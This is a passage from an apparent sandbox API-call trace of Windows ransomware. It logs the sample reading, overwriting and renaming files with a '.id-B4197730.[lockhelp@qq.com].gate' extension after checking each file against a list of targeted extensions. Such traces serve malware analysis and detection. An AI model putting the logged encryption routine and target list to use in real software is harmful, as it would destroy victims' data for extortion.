lpNewFilePointer=0x0) returned 1 [0113.222] ReadFile (in: hFile=0x37c, lpBuffer=0x38f5058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x266fc30, lpOverlapped=0x0 | out: lpBuffer=0x38f5058*, lpNumberOfBytesRead=0x266fc30*=0x40000, lpOverlapped=0x0) returned 1 [0113.258] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x266fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0113.258] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xacd384b, lpNewFilePointer=0x0, dwMoveMethod=0x266fc24 | out: lpNewFilePointer=0x0) returned 1 [0113.258] ReadFile (in: hFile=0x37c, lpBuffer=0x3935058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x266fc30, lpOverlapped=0x0 | out: lpBuffer=0x3935058*, lpNumberOfBytesRead=0x266fc30*=0x40000, lpOverlapped=0x0) returned 1 [0113.425] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0113.425] WriteFile (in: hFile=0x37c, lpBuffer=0x38b5020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x266fca8, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesWritten=0x266fca8*=0xc0108, lpOverlapped=0x0) returned 1 [0113.442] SetEndOfFile (hFile=0x37c) returned 1 [0113.442] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40000) returned 0x43114d0 [0113.447] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fc74 | out: lpNewFilePointer=0x0) returned 1 [0113.447] WriteFile (in: hFile=0x37c, lpBuffer=0x43114d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x266fc80, lpOverlapped=0x0 | out: lpBuffer=0x43114d0*, lpNumberOfBytesWritten=0x266fc80*=0x40000, lpOverlapped=0x0) returned 1 [0113.448] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x39b12c3, lpNewFilePointer=0x0, dwMoveMethod=0x266fc74 | out: lpNewFilePointer=0x0) returned 1 [0113.448] WriteFile (in: hFile=0x37c, lpBuffer=0x43114d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x266fc80, lpOverlapped=0x0 | out: lpBuffer=0x43114d0*, lpNumberOfBytesWritten=0x266fc80*=0x40000, lpOverlapped=0x0) returned 1 [0113.449] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xacd384b, lpNewFilePointer=0x0, dwMoveMethod=0x266fc74 | out: lpNewFilePointer=0x0) returned 1 [0113.450] WriteFile (in: hFile=0x37c, lpBuffer=0x43114d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x266fc80, lpOverlapped=0x0 | out: lpBuffer=0x43114d0*, lpNumberOfBytesWritten=0x266fc80*=0x40000, lpOverlapped=0x0) returned 1 [0113.451] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43114d0 | out: hHeap=0x5b0000) returned 1 [0113.451] CloseHandle (hObject=0x37c) returned 1 [0116.620] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0116.621] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0116.621] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0116.621] lstrlenW (lpString=".doc") returned 4 [0116.621] lstrcmpiW (lpString1=".doc", lpString2=".mzz") returned -1 [0116.621] lstrlenW (lpString=".docx") returned 5 [0116.621] lstrcmpiW (lpString1=".docx", lpString2="e.mzz") returned -1 [0116.621] lstrlenW (lpString=".pdf") returned 4 [0116.621] lstrcmpiW (lpString1=".pdf", lpString2=".mzz") returned 1 [0116.621] lstrlenW (lpString=".xls") returned 4 [0116.621] lstrcmpiW (lpString1=".xls", lpString2=".mzz") returned 1 [0116.621] lstrlenW (lpString=".xlsx") returned 5 [0116.621] lstrcmpiW (lpString1=".xlsx", lpString2="e.mzz") returned -1 [0116.621] lstrlenW (lpString=".ppt") returned 4 [0116.621] lstrcmpiW (lpString1=".ppt", lpString2=".mzz") returned 1 [0116.621] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0116.621] lstrlenW (lpString=".zip") returned 4 [0116.621] lstrcmpiW (lpString1=".zip", lpString2=".mzz") returned 1 [0116.621] lstrlenW (lpString=".rar") returned 4 [0116.621] lstrcmpiW (lpString1=".rar", lpString2=".mzz") returned 1 [0116.621] lstrlenW (lpString=".bz2") returned 4 [0116.621] lstrcmpiW (lpString1=".bz2", lpString2=".mzz") returned -1 [0116.621] lstrlenW (lpString=".7z") returned 3 [0116.621] lstrcmpiW (lpString1=".7z", lpString2="mzz") returned -1 [0116.621] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0116.622] lstrlenW (lpString=".dbf") returned 4 [0116.622] lstrcmpiW (lpString1=".dbf", lpString2=".mzz") returned -1 [0116.622] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0116.622] lstrlenW (lpString=".1cd") returned 4 [0116.622] lstrcmpiW (lpString1=".1cd", lpString2=".mzz") returned -1 [0116.622] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0116.622] lstrlenW (lpString=".jpg") returned 4 [0116.622] lstrcmpiW (lpString1=".jpg", lpString2=".mzz") returned -1 [0116.622] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0116.622] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0116.622] lstrlenW (lpString=".doc") returned 4 [0116.622] lstrcmpiW (lpString1=".doc", lpString2=".mzz") returned -1 [0116.622] lstrlenW (lpString=".docx") returned 5 [0116.622] lstrcmpiW (lpString1=".docx", lpString2="e.mzz") returned -1 [0116.622] lstrlenW (lpString=".pdf") returned 4 [0116.622] lstrcmpiW (lpString1=".pdf", lpString2=".mzz") returned 1 [0116.622] lstrlenW (lpString=".xls") returned 4 [0116.622] lstrcmpiW (lpString1=".xls", lpString2=".mzz") returned 1 [0116.622] lstrlenW (lpString=".xlsx") returned 5 [0116.622] lstrcmpiW (lpString1=".xlsx", lpString2="e.mzz") returned -1 [0116.622] lstrlenW (lpString=".ppt") returned 4 [0116.622] lstrcmpiW (lpString1=".ppt", lpString2=".mzz") returned 1 [0116.622] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0116.622] lstrlenW (lpString=".zip") returned 4 [0116.622] lstrcmpiW (lpString1=".zip", lpString2=".mzz") returned 1 [0116.622] lstrlenW (lpString=".rar") returned 4 [0116.622] lstrcmpiW (lpString1=".rar", lpString2=".mzz") returned 1 [0116.623] lstrlenW (lpString=".bz2") returned 4 [0116.623] lstrcmpiW (lpString1=".bz2", lpString2=".mzz") returned -1 [0116.623] lstrlenW (lpString=".7z") returned 3 [0116.623] lstrcmpiW (lpString1=".7z", lpString2="mzz") returned -1 [0116.623] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0116.623] lstrlenW (lpString=".dbf") returned 4 [0116.623] lstrcmpiW (lpString1=".dbf", lpString2=".mzz") returned -1 [0116.623] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0116.623] lstrlenW (lpString=".1cd") returned 4 [0116.623] lstrcmpiW (lpString1=".1cd", lpString2=".mzz") returned -1 [0116.623] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0116.623] lstrlenW (lpString=".jpg") returned 4 [0116.623] lstrcmpiW (lpString1=".jpg", lpString2=".mzz") returned -1 [0116.623] lstrcmpiW (lpString1=".msu", lpString2=".gate") returned 1 [0116.623] lstrlenW (lpString="Windows6.0-KB956250-v6001-x64.msu") returned 33 [0116.623] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0116.625] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=5198099) returned 1 [0116.626] CloseHandle (hObject=0x37c) returned 1 [0116.627] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu")) returned 0x80 [0116.627] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0116.627] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu.id-b4197730.[lockhelp@qq.com].gate")) returned 1 [0116.628] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0116.628] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fc64 | out: lpNewFilePointer=0x0) returned 1 [0116.628] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fc24 | out: lpNewFilePointer=0x0) returned 1 [0116.628] ReadFile (in: hFile=0x37c, lpBuffer=0x38b5058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x266fc30, lpOverlapped=0x0 | out: lpBuffer=0x38b5058*, lpNumberOfBytesRead=0x266fc30*=0x40000, lpOverlapped=0x0) returned 1 [0116.652] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x1a705b, lpNewFilePointer=0x0, dwMoveMethod=0x266fc24 | out: lpNewFilePointer=0x0) returned 1 [0116.652] ReadFile (in: hFile=0x37c, lpBuffer=0x38f5058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x266fc30, lpOverlapped=0x0 | out: lpBuffer=0x38f5058*, lpNumberOfBytesRead=0x266fc30*=0x40000, lpOverlapped=0x0) returned 1 [0116.724] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x266fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0116.724] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x4b5113, lpNewFilePointer=0x0, dwMoveMethod=0x266fc24 | out: lpNewFilePointer=0x0) returned 1 [0116.724] ReadFile (in: hFile=0x37c, lpBuffer=0x3935058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x266fc30, lpOverlapped=0x0 | out: lpBuffer=0x3935058*, lpNumberOfBytesRead=0x266fc30*=0x40000, lpOverlapped=0x0) returned 1 [0116.762] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0117.142] WriteFile (in: hFile=0x37c, lpBuffer=0x38b5020*, nNumberOfBytesToWrite=0xc012e, lpNumberOfBytesWritten=0x266fca8, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesWritten=0x266fca8*=0xc012e, lpOverlapped=0x0) returned 1 [0117.168] SetEndOfFile (hFile=0x37c) returned 1 [0117.169] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40000) returned 0x43514f0 [0117.175] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fc74 | out: lpNewFilePointer=0x0) returned 1 [0117.175] WriteFile (in: hFile=0x37c, lpBuffer=0x43514f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x266fc80, lpOverlapped=0x0 | out: lpBuffer=0x43514f0*, lpNumberOfBytesWritten=0x266fc80*=0x40000, lpOverlapped=0x0) returned 1 [0117.177] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x1a705b, lpNewFilePointer=0x0, dwMoveMethod=0x266fc74 | out: lpNewFilePointer=0x0) returned 1 [0117.177] WriteFile (in: hFile=0x37c, lpBuffer=0x43514f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x266fc80, lpOverlapped=0x0 | out: lpBuffer=0x43514f0*, lpNumberOfBytesWritten=0x266fc80*=0x40000, lpOverlapped=0x0) returned 1 [0117.179] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x4b5113, lpNewFilePointer=0x0, dwMoveMethod=0x266fc74 | out: lpNewFilePointer=0x0) returned 1 [0117.179] WriteFile (in: hFile=0x37c, lpBuffer=0x43514f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x266fc80, lpOverlapped=0x0 | out: lpBuffer=0x43514f0*, lpNumberOfBytesWritten=0x266fc80*=0x40000, lpOverlapped=0x0) returned 1 [0117.182] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43514f0 | out: hHeap=0x5b0000) returned 1 [0117.182] CloseHandle (hObject=0x37c) returned 1 [0119.166] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0119.167] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0119.167] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0119.167] lstrlenW (lpString=".doc") returned 4 [0119.167] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0119.167] lstrlenW (lpString=".docx") returned 5 [0119.167] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0119.167] lstrlenW (lpString=".pdf") returned 4 [0119.167] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0119.167] lstrlenW (lpString=".xls") returned 4 [0119.167] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0119.167] lstrlenW (lpString=".xlsx") returned 5 [0119.167] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0119.167] lstrlenW (lpString=".ppt") returned 4 [0119.167] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0119.167] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0119.167] lstrlenW (lpString=".zip") returned 4 [0119.167] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0119.167] lstrlenW (lpString=".rar") returned 4 [0119.167] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0119.167] lstrlenW (lpString=".bz2") returned 4 [0119.167] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0119.167] lstrlenW (lpString=".7z") returned 3 [0119.167] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0119.167] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0119.167] lstrlenW (lpString=".dbf") returned 4 [0119.168] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0119.168] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0119.168] lstrlenW (lpString=".1cd") returned 4 [0119.168] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0119.168] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0119.168] lstrlenW (lpString=".jpg") returned 4 [0119.168] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0119.168] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0119.168] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0119.168] lstrlenW (lpString=".doc") returned 4 [0119.168] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0119.168] lstrlenW (lpString=".docx") returned 5 [0119.168] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0119.168] lstrlenW (lpString=".pdf") returned 4 [0119.168] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0119.168] lstrlenW (lpString=".xls") returned 4 [0119.168] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0119.168] lstrlenW (lpString=".xlsx") returned 5 [0119.168] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0119.168] lstrlenW (lpString=".ppt") returned 4 [0119.168] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0119.168] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0119.168] lstrlenW (lpString=".zip") returned 4 [0119.168] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0119.168] lstrlenW (lpString=".rar") returned 4 [0119.168] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0119.168] lstrlenW (lpString=".bz2") returned 4 [0119.168] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0119.168] lstrlenW (lpString=".7z") returned 3 [0119.168] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0119.168] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0119.168] lstrlenW (lpString=".dbf") returned 4 [0119.168] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0119.168] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0119.169] lstrlenW (lpString=".1cd") returned 4 [0119.169] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0119.169] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0119.169] lstrlenW (lpString=".jpg") returned 4 [0119.169] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0119.169] lstrcmpiW (lpString1=".msu", lpString2=".gate") returned 1 [0119.169] lstrlenW (lpString="Windows6.1-KB958488-v6001-x86.msu") returned 33 [0119.169] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0119.169] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=2141433) returned 1 [0119.169] CloseHandle (hObject=0x37c) returned 1 [0119.169] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu")) returned 0x80 [0119.169] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0119.169] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu.id-b4197730.[lockhelp@qq.com].gate")) returned 1 [0119.170] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0119.170] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fc64 | out: lpNewFilePointer=0x0) returned 1 [0119.170] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fc24 | out: lpNewFilePointer=0x0) returned 1 [0119.170] ReadFile (in: hFile=0x37c, lpBuffer=0x38b5058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x266fc30, lpOverlapped=0x0 | out: lpBuffer=0x38b5058*, lpNumberOfBytesRead=0x266fc30*=0x40000, lpOverlapped=0x0) returned 1 [0119.225] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xae453, lpNewFilePointer=0x0, dwMoveMethod=0x266fc24 | out: lpNewFilePointer=0x0) returned 1 [0119.225] ReadFile (in: hFile=0x37c, lpBuffer=0x38f5058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x266fc30, lpOverlapped=0x0 | out: lpBuffer=0x38f5058*, lpNumberOfBytesRead=0x266fc30*=0x40000, lpOverlapped=0x0) returned 1 [0119.487] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x266fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0119.487] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x1cacf9, lpNewFilePointer=0x0, dwMoveMethod=0x266fc24 | out: lpNewFilePointer=0x0) returned 1 [0119.487] ReadFile (in: hFile=0x37c, lpBuffer=0x3935058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x266fc30, lpOverlapped=0x0 | out: lpBuffer=0x3935058*, lpNumberOfBytesRead=0x266fc30*=0x40000, lpOverlapped=0x0) returned 1 [0120.264] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.264] WriteFile (in: hFile=0x37c, lpBuffer=0x38b5020*, nNumberOfBytesToWrite=0xc012e, lpNumberOfBytesWritten=0x266fca8, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesWritten=0x266fca8*=0xc012e, lpOverlapped=0x0) returned 1 [0120.337] SetEndOfFile (hFile=0x37c) returned 1 [0120.337] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40000) returned 0x43314e0 [0120.344] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fc74 | out: lpNewFilePointer=0x0) returned 1 [0120.344] WriteFile (in: hFile=0x37c, lpBuffer=0x43314e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x266fc80, lpOverlapped=0x0 | out: lpBuffer=0x43314e0*, lpNumberOfBytesWritten=0x266fc80*=0x40000, lpOverlapped=0x0) returned 1 [0120.346] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xae453, lpNewFilePointer=0x0, dwMoveMethod=0x266fc74 | out: lpNewFilePointer=0x0) returned 1 [0120.346] WriteFile (in: hFile=0x37c, lpBuffer=0x43314e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x266fc80, lpOverlapped=0x0 | out: lpBuffer=0x43314e0*, lpNumberOfBytesWritten=0x266fc80*=0x40000, lpOverlapped=0x0) returned 1 [0120.348] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x1cacf9, lpNewFilePointer=0x0, dwMoveMethod=0x266fc74 | out: lpNewFilePointer=0x0) returned 1 [0120.348] WriteFile (in: hFile=0x37c, lpBuffer=0x43314e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x266fc80, lpOverlapped=0x0 | out: lpBuffer=0x43314e0*, lpNumberOfBytesWritten=0x266fc80*=0x40000, lpOverlapped=0x0) returned 1 [0120.349] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43314e0 | out: hHeap=0x5b0000) returned 1 [0120.350] CloseHandle (hObject=0x37c) returned 1 [0124.769] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0124.770] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0124.770] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0124.770] lstrlenW (lpString=".doc") returned 4 [0124.770] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0124.770] lstrlenW (lpString=".docx") returned 5 [0124.770] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0124.770] lstrlenW (lpString=".pdf") returned 4 [0124.770] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0124.770] lstrlenW (lpString=".xls") returned 4 [0124.770] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0124.770] lstrlenW (lpString=".xlsx") returned 5 [0124.770] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0124.770] lstrlenW (lpString=".ppt") returned 4 [0124.770] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0124.770] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0124.770] lstrlenW (lpString=".zip") returned 4 [0124.770] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0124.770] lstrlenW (lpString=".rar") returned 4 [0124.770] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0124.771] lstrlenW (lpString=".bz2") returned 4 [0124.771] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0124.771] lstrlenW (lpString=".7z") returned 3 [0124.771] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0124.771] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0124.771] lstrlenW (lpString=".dbf") returned 4 [0124.771] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0124.771] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0124.771] lstrlenW (lpString=".1cd") returned 4 [0124.771] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0124.771] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0124.771] lstrlenW (lpString=".jpg") returned 4 [0124.771] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0124.771] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0124.771] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0124.771] lstrlenW (lpString=".doc") returned 4 [0124.771] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0124.771] lstrlenW (lpString=".docx") returned 5 [0124.771] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0124.771] lstrlenW (lpString=".pdf") returned 4 [0124.771] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0124.771] lstrlenW (lpString=".xls") returned 4 [0124.771] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0124.771] lstrlenW (lpString=".xlsx") returned 5 [0124.771] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0124.771] lstrlenW (lpString=".ppt") returned 4 [0124.771] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0124.772] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0124.772] lstrlenW (lpString=".zip") returned 4 [0124.772] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0124.772] lstrlenW (lpString=".rar") returned 4 [0124.772] lstrcmpiW (lpString1=".rar", 